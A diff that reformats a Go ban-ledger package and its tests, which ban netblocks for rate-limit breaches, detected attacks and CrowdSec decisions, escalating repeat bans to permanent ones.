limitReason(notes),
|
||||||
|
notes,
|
||||||
|
true,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// WouldBanForLimit returns what BanForLimit would, without making the ban:
|
// WouldBanForLimit returns what BanForLimit would, without making the ban:
|
||||||
@@ -320,7 +331,15 @@ func (l *Ledger) BanForLimit(
|
|||||||
func (l *Ledger) WouldBanForLimit(
|
func (l *Ledger) WouldBanForLimit(
|
||||||
netblock netip.Prefix, now time.Time, notes Notes,
|
netblock netip.Prefix, now time.Time, notes Notes,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, false)
|
return l.ban(
|
||||||
|
netblock,
|
||||||
|
now,
|
||||||
|
time.Time{},
|
||||||
|
CauseLimit,
|
||||||
|
limitReason(notes),
|
||||||
|
notes,
|
||||||
|
false,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// BanForAttack bans netblock at now for a clear sign of attack, with
|
// BanForAttack bans netblock at now for a clear sign of attack, with
|
||||||
@@ -331,7 +350,15 @@ func (l *Ledger) WouldBanForLimit(
|
|||||||
func (l *Ledger) BanForAttack(
|
func (l *Ledger) BanForAttack(
|
||||||
netblock netip.Prefix, now time.Time, notes Notes,
|
netblock netip.Prefix, now time.Time, notes Notes,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, true)
|
return l.ban(
|
||||||
|
netblock,
|
||||||
|
now,
|
||||||
|
time.Time{},
|
||||||
|
CauseAttack,
|
||||||
|
attackReason(notes),
|
||||||
|
notes,
|
||||||
|
true,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// WouldBanForAttack returns what BanForAttack would, without making the
|
// WouldBanForAttack returns what BanForAttack would, without making the
|
||||||
@@ -339,8 +366,15 @@ func (l *Ledger) BanForAttack(
|
|||||||
func (l *Ledger) WouldBanForAttack(
|
func (l *Ledger) WouldBanForAttack(
|
||||||
netblock netip.Prefix, now time.Time, notes Notes,
|
netblock netip.Prefix, now time.Time, notes Notes,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes,
|
return l.ban(
|
||||||
false)
|
netblock,
|
||||||
|
now,
|
||||||
|
time.Time{},
|
||||||
|
CauseAttack,
|
||||||
|
attackReason(notes),
|
||||||
|
notes,
|
||||||
|
false,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// BanForCrowdSec bans netblock at now until expires, when CrowdSec's
|
// BanForCrowdSec bans netblock at now until expires, when CrowdSec's
|
||||||
@@ -348,19 +382,39 @@ func (l *Ledger) WouldBanForAttack(
|
|||||||
// whether it made it, as BanForLimit does. Its reason is "CrowdSec's
|
// whether it made it, as BanForLimit does. Its reason is "CrowdSec's
|
||||||
// decision for <scenario>", the scenario that made the decision.
|
// decision for <scenario>", the scenario that made the decision.
|
||||||
func (l *Ledger) BanForCrowdSec(
|
func (l *Ledger) BanForCrowdSec(
|
||||||
netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
|
netblock netip.Prefix,
|
||||||
|
now, expires time.Time,
|
||||||
|
scenario string,
|
||||||
|
notes Notes,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
|
return l.ban(
|
||||||
true)
|
netblock,
|
||||||
|
now,
|
||||||
|
expires,
|
||||||
|
CauseCrowdSec,
|
||||||
|
crowdSecReason(scenario),
|
||||||
|
notes,
|
||||||
|
true,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// WouldBanForCrowdSec returns what BanForCrowdSec would, without making
|
// WouldBanForCrowdSec returns what BanForCrowdSec would, without making
|
||||||
// the ban: what observe mode would have done.
|
// the ban: what observe mode would have done.
|
||||||
func (l *Ledger) WouldBanForCrowdSec(
|
func (l *Ledger) WouldBanForCrowdSec(
|
||||||
netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
|
netblock netip.Prefix,
|
||||||
|
now, expires time.Time,
|
||||||
|
scenario string,
|
||||||
|
notes Notes,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
|
return l.ban(
|
||||||
false)
|
netblock,
|
||||||
|
now,
|
||||||
|
expires,
|
||||||
|
CauseCrowdSec,
|
||||||
|
crowdSecReason(scenario),
|
||||||
|
notes,
|
||||||
|
false,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
|
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
|
||||||
@@ -505,7 +559,10 @@ func (l *Ledger) Bans(netblock netip.Prefix) []Ban {
|
|||||||
// about it. It is not a request from netblock, and leaves when it was last
|
// about it. It is not a request from netblock, and leaves when it was last
|
||||||
// seen unchanged. It does not have bans.json written at once: the notes
|
// seen unchanged. It does not have bans.json written at once: the notes
|
||||||
// are written with its next write, as the counts in them are.
|
// are written with its next write, as the counts in them are.
|
||||||
func (l *Ledger) AddLookup(netblock netip.Prefix, asn, asName, country string) {
|
func (l *Ledger) AddLookup(
|
||||||
|
netblock netip.Prefix,
|
||||||
|
asn, asName, country string,
|
||||||
|
) {
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
defer l.mu.Unlock()
|
defer l.mu.Unlock()
|
||||||
|
|
||||||
@@ -654,7 +711,10 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
|
|||||||
// keep is true, the ban is not made, only returned: it is the ban that
|
// keep is true, the ban is not made, only returned: it is the ban that
|
||||||
// would have been made.
|
// would have been made.
|
||||||
func (l *Ledger) ban(
|
func (l *Ledger) ban(
|
||||||
netblock netip.Prefix, now, expires time.Time, cause, reason string, notes Notes,
|
netblock netip.Prefix,
|
||||||
|
now, expires time.Time,
|
||||||
|
cause, reason string,
|
||||||
|
notes Notes,
|
||||||
keep bool,
|
keep bool,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
@@ -675,7 +735,13 @@ func (l *Ledger) ban(
|
|||||||
}
|
}
|
||||||
|
|
||||||
notes.Request = notes.Request.cut()
|
notes.Request = notes.Request.cut()
|
||||||
ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes}
|
ban := Ban{
|
||||||
|
Netblock: netblock,
|
||||||
|
Start: now,
|
||||||
|
Cause: cause,
|
||||||
|
Reason: reason,
|
||||||
|
Notes: notes,
|
||||||
|
}
|
||||||
|
|
||||||
switch cause {
|
switch cause {
|
||||||
case CauseAttack:
|
case CauseAttack:
|
||||||
@@ -765,7 +831,9 @@ func (l *Ledger) active(client netip.Addr, now time.Time) *Ban {
|
|||||||
var first *Ban
|
var first *Ban
|
||||||
|
|
||||||
for _, length := range lengths {
|
for _, length := range lengths {
|
||||||
bans, found := l.netblocks.Get(netip.PrefixFrom(client, length).Masked())
|
bans, found := l.netblocks.Get(
|
||||||
|
netip.PrefixFrom(client, length).Masked(),
|
||||||
|
)
|
||||||
if !found {
|
if !found {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
@@ -798,7 +866,9 @@ func (l *Ledger) covering(client netip.Addr) []*[]Ban {
|
|||||||
var found []*[]Ban
|
var found []*[]Ban
|
||||||
|
|
||||||
for _, length := range lengths {
|
for _, length := range lengths {
|
||||||
bans, ok := l.netblocks.Peek(netip.PrefixFrom(client, length).Masked())
|
bans, ok := l.netblocks.Peek(
|
||||||
|
netip.PrefixFrom(client, length).Masked(),
|
||||||
|
)
|
||||||
if ok {
|
if ok {
|
||||||
found = append(found, bans)
|
found = append(found, bans)
|
||||||
}
|
}
|
||||||
@@ -852,13 +922,15 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
|
|||||||
var last *Ban
|
var last *Ban
|
||||||
|
|
||||||
for i, ban := range held {
|
for i, ban := range held {
|
||||||
if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && ban.Lifted.IsZero() &&
|
if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) &&
|
||||||
|
ban.Lifted.IsZero() &&
|
||||||
(last == nil || ban.Expires.After(last.Expires)) {
|
(last == nil || ban.Expires.After(last.Expires)) {
|
||||||
last = &held[i]
|
last = &held[i]
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if last != nil && now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
|
if last != nil &&
|
||||||
|
now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
|
||||||
lastLength := last.Expires.Sub(last.Start)
|
lastLength := last.Expires.Sub(last.Start)
|
||||||
// This is repeatFactor * lastLength > MaxBanDuration, written so
|
// This is repeatFactor * lastLength > MaxBanDuration, written so
|
||||||
// that it cannot overflow.
|
// that it cannot overflow.
|
||||||
|
|||||||
+212
-59
@@ -27,8 +27,14 @@ func TestRepeatsTripleUntilPermanent(t *testing.T) {
|
|||||||
length := time.Duration(hours) * time.Hour
|
length := time.Duration(hours) * time.Hour
|
||||||
if !ban.Expires.Equal(now.Add(length)) ||
|
if !ban.Expires.Equal(now.Add(length)) ||
|
||||||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) {
|
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) {
|
||||||
t.Fatalf("ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit",
|
t.Fatalf(
|
||||||
i+1, ban.Expires.Sub(now), ban.Notes.EarlierBans, hours, i)
|
"ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit",
|
||||||
|
i+1,
|
||||||
|
ban.Expires.Sub(now),
|
||||||
|
ban.Notes.EarlierBans,
|
||||||
|
hours,
|
||||||
|
i,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
now = ban.Expires
|
now = ban.Expires
|
||||||
@@ -65,13 +71,27 @@ func TestRepeatWindowRunsOut(t *testing.T) {
|
|||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
|
|
||||||
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
|
first, _ := ledger.BanForLimit(
|
||||||
second, _ := ledger.BanForLimit(netblock, first.Expires.Add(tc.gap), bans.Notes{})
|
netblock,
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
|
second, _ := ledger.BanForLimit(
|
||||||
|
netblock,
|
||||||
|
first.Expires.Add(tc.gap),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
|
|
||||||
if second.Expires.Sub(second.Start) != tc.want ||
|
if second.Expires.Sub(second.Start) != tc.want ||
|
||||||
second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
||||||
t.Errorf("second ban lasts %s with earlier bans %+v, want %s and 1 for a limit",
|
t.Errorf(
|
||||||
second.Expires.Sub(second.Start), second.Notes.EarlierBans, tc.want)
|
"second ban lasts %s with earlier bans %+v, want %s and 1 for a limit",
|
||||||
|
second.Expires.Sub(
|
||||||
|
second.Start,
|
||||||
|
),
|
||||||
|
second.Notes.EarlierBans,
|
||||||
|
tc.want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -84,8 +104,11 @@ func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
|
|||||||
params.LimitBanDuration = params.MaxBanDuration + time.Hour
|
params.LimitBanDuration = params.MaxBanDuration + time.Hour
|
||||||
ledger := bans.New(params)
|
ledger := bans.New(params)
|
||||||
|
|
||||||
ban, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(),
|
ban, _ := ledger.BanForLimit(
|
||||||
bans.Notes{})
|
netip.MustParsePrefix("203.0.113.9/32"),
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
if !ban.Permanent() {
|
if !ban.Permanent() {
|
||||||
t.Errorf("first ban ends at %s, want a permanent one", ban.Expires)
|
t.Errorf("first ban ends at %s, want a permanent one", ban.Expires)
|
||||||
}
|
}
|
||||||
@@ -106,7 +129,12 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
|
|||||||
for i := range 14 {
|
for i := range 14 {
|
||||||
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||||
if !ban.Expires.After(ban.Start) {
|
if !ban.Expires.After(ban.Start) {
|
||||||
t.Fatalf("ban %d starts at %s and ends at %s", i+1, ban.Start, ban.Expires)
|
t.Fatalf(
|
||||||
|
"ban %d starts at %s and ends at %s",
|
||||||
|
i+1,
|
||||||
|
ban.Start,
|
||||||
|
ban.Expires,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
now = ban.Expires
|
now = ban.Expires
|
||||||
@@ -129,17 +157,36 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
|
|||||||
t.Error("the first ban was not made")
|
t.Error("the first ban was not made")
|
||||||
}
|
}
|
||||||
|
|
||||||
again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
|
again, made := ledger.BanForLimit(
|
||||||
|
netblock,
|
||||||
|
midnight().Add(time.Minute),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
|
|
||||||
if made || !reflect.DeepEqual(again, first) || len(ledger.Bans(netblock)) != 1 {
|
if made || !reflect.DeepEqual(again, first) ||
|
||||||
t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+
|
len(ledger.Bans(netblock)) != 1 {
|
||||||
"want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first)
|
t.Errorf(
|
||||||
|
"a limit broken during a ban gave %+v, made %t, and %d bans, "+
|
||||||
|
"want %+v, not made, and 1",
|
||||||
|
again,
|
||||||
|
made,
|
||||||
|
len(ledger.Bans(netblock)),
|
||||||
|
first,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{})
|
again, made = ledger.BanForAttack(
|
||||||
|
netblock,
|
||||||
|
midnight().Add(time.Minute),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
if made || !reflect.DeepEqual(again, first) {
|
if made || !reflect.DeepEqual(again, first) {
|
||||||
t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made",
|
t.Errorf(
|
||||||
again, made, first)
|
"an attack during a ban gave %+v, made %t, want %+v, not made",
|
||||||
|
again,
|
||||||
|
made,
|
||||||
|
first,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -148,16 +195,26 @@ func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) {
|
|||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
|
ban, _ := ledger.BanForLimit(
|
||||||
|
netblock,
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{Requests: 5},
|
||||||
|
)
|
||||||
|
|
||||||
for range 3 {
|
for range 3 {
|
||||||
got, banned, _ := ledger.Check(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
|
got, banned, _ := ledger.Check(
|
||||||
|
netblock.Addr(),
|
||||||
|
ban.Expires.Add(-time.Nanosecond),
|
||||||
|
)
|
||||||
if !banned || got.Start != ban.Start {
|
if !banned || got.Start != ban.Start {
|
||||||
t.Fatalf("check during the ban gives %+v and %t", got, banned)
|
t.Fatalf("check during the ban gives %+v and %t", got, banned)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.10"), midnight())
|
_, banned, _ := ledger.Check(
|
||||||
|
netip.MustParseAddr("203.0.113.10"),
|
||||||
|
midnight(),
|
||||||
|
)
|
||||||
if banned {
|
if banned {
|
||||||
t.Error("another netblock is banned")
|
t.Error("another netblock is banned")
|
||||||
}
|
}
|
||||||
@@ -180,11 +237,23 @@ func TestFindCountsNothing(t *testing.T) {
|
|||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
|
ban, _ := ledger.BanForLimit(
|
||||||
|
netblock,
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{Requests: 5},
|
||||||
|
)
|
||||||
|
|
||||||
got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
|
got, banned, _ := ledger.Find(
|
||||||
|
netblock.Addr(),
|
||||||
|
ban.Expires.Add(-time.Nanosecond),
|
||||||
|
)
|
||||||
if !banned || !reflect.DeepEqual(got, ban) {
|
if !banned || !reflect.DeepEqual(got, ban) {
|
||||||
t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban)
|
t.Errorf(
|
||||||
|
"find during the ban gives %+v and %t, want %+v",
|
||||||
|
got,
|
||||||
|
banned,
|
||||||
|
ban,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
_, banned, _ = ledger.Find(netblock.Addr(), ban.Expires)
|
_, banned, _ = ledger.Find(netblock.Addr(), ban.Expires)
|
||||||
@@ -192,12 +261,21 @@ func TestFindCountsNothing(t *testing.T) {
|
|||||||
t.Error("the ban did not end")
|
t.Error("the ban did not end")
|
||||||
}
|
}
|
||||||
|
|
||||||
if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(notes, ban.Notes) {
|
if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(
|
||||||
t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes)
|
notes,
|
||||||
|
ban.Notes,
|
||||||
|
) {
|
||||||
|
t.Errorf(
|
||||||
|
"the notes are %+v, want them unchanged, %+v",
|
||||||
|
notes,
|
||||||
|
ban.Notes,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) {
|
func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
params := defaultParams()
|
params := defaultParams()
|
||||||
@@ -230,7 +308,10 @@ func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) {
|
|||||||
wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1})
|
wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1})
|
||||||
|
|
||||||
if !ledger.Bans(a)[0].Start.Equal(first.Expires) {
|
if !ledger.Bans(a)[0].Start.Equal(first.Expires) {
|
||||||
t.Errorf("a kept its ban of %s, want the later one", ledger.Bans(a)[0].Start)
|
t.Errorf(
|
||||||
|
"a kept its ban of %s, want the later one",
|
||||||
|
ledger.Bans(a)[0].Start,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -263,41 +344,70 @@ func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) {
|
|||||||
notes := bans.Notes{RuleID: "env-file", Target: "path"}
|
notes := bans.Notes{RuleID: "env-file", Target: "path"}
|
||||||
|
|
||||||
ban, _ := ledger.BanForAttack(netblock, midnight(), notes)
|
ban, _ := ledger.BanForAttack(netblock, midnight(), notes)
|
||||||
if !ban.Expires.Equal(midnight().Add(7*day)) || ban.Cause != bans.CauseAttack ||
|
if !ban.Expires.Equal(midnight().Add(7*day)) ||
|
||||||
ban.Notes.RuleID != "env-file" || ledger.Made(bans.CauseAttack) != 1 ||
|
ban.Cause != bans.CauseAttack ||
|
||||||
|
ban.Notes.RuleID != "env-file" ||
|
||||||
|
ledger.Made(bans.CauseAttack) != 1 ||
|
||||||
ledger.Made(bans.CauseLimit) != 0 {
|
ledger.Made(bans.CauseLimit) != 0 {
|
||||||
t.Fatalf("the ban is %+v, with %d made for an attack and %d for a limit, "+
|
t.Fatalf(
|
||||||
"want one for an attack, of seven days", ban,
|
"the ban is %+v, with %d made for an attack and %d for a limit, "+
|
||||||
ledger.Made(bans.CauseAttack), ledger.Made(bans.CauseLimit))
|
"want one for an attack, of seven days",
|
||||||
|
ban,
|
||||||
|
ledger.Made(bans.CauseAttack),
|
||||||
|
ledger.Made(bans.CauseLimit),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantChanged(t, ledger, true)
|
wantChanged(t, ledger, true)
|
||||||
|
|
||||||
// In observe mode the ban refuses nothing, and stays as it is, while
|
// In observe mode the ban refuses nothing, and stays as it is, while
|
||||||
// Find tells that the request would have made it permanent.
|
// Find tells that the request would have made it permanent.
|
||||||
got, _, wouldMakePermanent := ledger.Find(netblock.Addr(), midnight().Add(time.Hour))
|
got, _, wouldMakePermanent := ledger.Find(
|
||||||
if got.Permanent() || ledger.Bans(netblock)[0].Permanent() || !wouldMakePermanent {
|
netblock.Addr(),
|
||||||
t.Fatalf("a request found under the ban left it %+v, would have made it "+
|
midnight().Add(time.Hour),
|
||||||
"permanent %t, want it as it was, and true", got, wouldMakePermanent)
|
)
|
||||||
|
if got.Permanent() || ledger.Bans(netblock)[0].Permanent() ||
|
||||||
|
!wouldMakePermanent {
|
||||||
|
t.Fatalf(
|
||||||
|
"a request found under the ban left it %+v, would have made it "+
|
||||||
|
"permanent %t, want it as it was, and true",
|
||||||
|
got,
|
||||||
|
wouldMakePermanent,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantChanged(t, ledger, false)
|
wantChanged(t, ledger, false)
|
||||||
|
|
||||||
// A request it refuses makes it permanent, says so, and makes
|
// A request it refuses makes it permanent, says so, and makes
|
||||||
// bans.json due.
|
// bans.json due.
|
||||||
got, _, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(time.Hour))
|
got, _, madePermanent := ledger.Check(
|
||||||
if !madePermanent || !got.Permanent() || !ledger.Bans(netblock)[0].Permanent() {
|
netblock.Addr(),
|
||||||
t.Fatalf("after a request during the ban, it is %+v, made permanent %t, "+
|
midnight().Add(time.Hour),
|
||||||
"want it made permanent", got, madePermanent)
|
)
|
||||||
|
if !madePermanent || !got.Permanent() ||
|
||||||
|
!ledger.Bans(netblock)[0].Permanent() {
|
||||||
|
t.Fatalf(
|
||||||
|
"after a request during the ban, it is %+v, made permanent %t, "+
|
||||||
|
"want it made permanent",
|
||||||
|
got,
|
||||||
|
madePermanent,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantChanged(t, ledger, true)
|
wantChanged(t, ledger, true)
|
||||||
|
|
||||||
// The next request finds it permanent already.
|
// The next request finds it permanent already.
|
||||||
_, banned, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(100*365*day))
|
_, banned, madePermanent := ledger.Check(
|
||||||
|
netblock.Addr(),
|
||||||
|
midnight().Add(100*365*day),
|
||||||
|
)
|
||||||
if !banned || madePermanent {
|
if !banned || madePermanent {
|
||||||
t.Errorf("a later request is banned %t, and made the ban permanent %t, "+
|
t.Errorf(
|
||||||
"want banned by the permanent ban", banned, madePermanent)
|
"a later request is banned %t, and made the ban permanent %t, "+
|
||||||
|
"want banned by the permanent ban",
|
||||||
|
banned,
|
||||||
|
madePermanent,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -325,7 +435,11 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
|
|||||||
|
|
||||||
// Its notes show the earlier ban for an attack that makes it permanent,
|
// Its notes show the earlier ban for an attack that makes it permanent,
|
||||||
// beside the one for a limit.
|
// beside the one for a limit.
|
||||||
third, _ := ledger.BanForAttack(netblock, second.Expires.Add(30*day), bans.Notes{})
|
third, _ := ledger.BanForAttack(
|
||||||
|
netblock,
|
||||||
|
second.Expires.Add(30*day),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
if !third.Permanent() ||
|
if !third.Permanent() ||
|
||||||
third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) {
|
third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) {
|
||||||
t.Errorf("the next ban for an attack is %+v, want a permanent one, "+
|
t.Errorf("the next ban for an attack is %+v, want a permanent one, "+
|
||||||
@@ -342,10 +456,18 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
|
|||||||
wantChanged(t, ledger, true)
|
wantChanged(t, ledger, true)
|
||||||
|
|
||||||
// While the first ban lasts, none would be made.
|
// While the first ban lasts, none would be made.
|
||||||
during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{})
|
during, would := ledger.WouldBanForAttack(
|
||||||
|
netblock,
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
if would || !reflect.DeepEqual(during, first) {
|
if would || !reflect.DeepEqual(during, first) {
|
||||||
t.Errorf("during the first ban, would ban %t with %+v, want false with %+v",
|
t.Errorf(
|
||||||
would, during, first)
|
"during the first ban, would ban %t with %+v, want false with %+v",
|
||||||
|
would,
|
||||||
|
during,
|
||||||
|
first,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// As it ends, a clear sign of attack would ban for seven days, and a
|
// As it ends, a clear sign of attack would ban for seven days, and a
|
||||||
@@ -353,19 +475,31 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
|
|||||||
limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"}
|
limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"}
|
||||||
attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires,
|
attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires,
|
||||||
bans.Notes{RuleID: "git-dir"})
|
bans.Notes{RuleID: "git-dir"})
|
||||||
limit, wouldLimit := ledger.WouldBanForLimit(netblock, first.Expires, limitNotes)
|
limit, wouldLimit := ledger.WouldBanForLimit(
|
||||||
|
netblock,
|
||||||
|
first.Expires,
|
||||||
|
limitNotes,
|
||||||
|
)
|
||||||
|
|
||||||
if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) ||
|
if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) ||
|
||||||
attack.Reason != "matched the rule git-dir" || !wouldLimit ||
|
attack.Reason != "matched the rule git-dir" || !wouldLimit ||
|
||||||
!limit.Expires.Equal(first.Expires.Add(3*time.Hour)) ||
|
!limit.Expires.Equal(first.Expires.Add(3*time.Hour)) ||
|
||||||
limit.Reason != "requests per minute over the limit of 1" {
|
limit.Reason != "requests per minute over the limit of 1" {
|
||||||
t.Errorf("would ban with %+v and %+v, want seven days for the attack and "+
|
t.Errorf(
|
||||||
"three hours for the limit", attack, limit)
|
"would ban with %+v and %+v, want seven days for the attack and "+
|
||||||
|
"three hours for the limit",
|
||||||
|
attack,
|
||||||
|
limit,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(ledger.Bans(netblock)) != 1 || ledger.Made(bans.CauseLimit) != 1 ||
|
if len(ledger.Bans(netblock)) != 1 ||
|
||||||
|
ledger.Made(bans.CauseLimit) != 1 ||
|
||||||
ledger.Made(bans.CauseAttack) != 0 {
|
ledger.Made(bans.CauseAttack) != 0 {
|
||||||
t.Errorf("the ledger holds %+v, want the first ban alone", ledger.Bans(netblock))
|
t.Errorf(
|
||||||
|
"the ledger holds %+v, want the first ban alone",
|
||||||
|
ledger.Bans(netblock),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantChanged(t, ledger, false)
|
wantChanged(t, ledger, false)
|
||||||
@@ -422,7 +556,8 @@ func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
|
|||||||
attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{})
|
attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{})
|
||||||
limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{})
|
limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{})
|
||||||
|
|
||||||
if limit.Expires.Sub(limit.Start) != time.Hour || limit.Cause != bans.CauseLimit {
|
if limit.Expires.Sub(limit.Start) != time.Hour ||
|
||||||
|
limit.Cause != bans.CauseLimit {
|
||||||
t.Errorf("the ban for a limit is %+v, want one of an hour", limit)
|
t.Errorf("the ban for a limit is %+v, want one of an hour", limit)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -443,15 +578,23 @@ func TestRequestTextsAreCutTo256Bytes(t *testing.T) {
|
|||||||
Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long,
|
Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long,
|
||||||
}
|
}
|
||||||
|
|
||||||
